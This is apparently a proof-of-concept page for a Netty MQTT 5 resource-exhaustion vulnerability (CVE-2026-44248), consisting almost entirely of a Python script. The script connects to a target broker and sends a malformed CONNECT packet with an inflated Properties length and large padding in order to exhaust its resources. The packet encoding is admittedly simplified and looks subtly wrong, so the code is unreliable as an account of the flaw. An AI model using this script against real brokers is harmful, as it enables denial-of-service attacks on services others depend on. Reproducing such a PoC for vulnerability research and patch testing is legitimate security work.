CVE-2026-44248 Netty MQTT 5资源耗尽漏洞

import socket # Conceptual Proof of Concept for CVE-2026-44248 # This script demonstrates how a crafted MQTT 5 packet with a large # Properties section can trigger resource exhaustion in vulnerable Netty versions. def send_malicious_packet(target_host, target_port): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # MQTT 5 CONNECT Packet Structure (Simplified for PoC) # Fixed Header: Type (1) << 4 | Flags (0) = 0x10 fixed_header = bytes([0x10]) # Variable Header (Protocol Name 'MQTT', Level 5, Flags, Keep Alive) # ... (Standard MQTT 5 CONNECT header bytes) ... variable_header = b'\x00\x04MQTT\x05\x02\x00<' # Properties Length: Set to a large value (e.g., 0xFFFF) # This triggers the vulnerability as Netty tries to buffer this amount # before checking the max message size. properties_length = b'\xFF\xFF' # Dummy Properties Data: Padding to match the length # In a real scenario, this would be valid properties or just padding # causing the decoder to loop and buffer. payload = b'A' * 100000 # Assemble packet (Note: Remaining Length encoding is simplified here) packet = fixed_header + variable_header + properties_length + payload s.send(packet) print(f"[+] Malicious packet sent to {target_host}:{target_port}") s.close() except Exception as e: print(f"[-] Error: {e}") # Usage (requires a vulnerable Netty MQTT broker) # send_malicious_packet('127.0.0.1', 1883)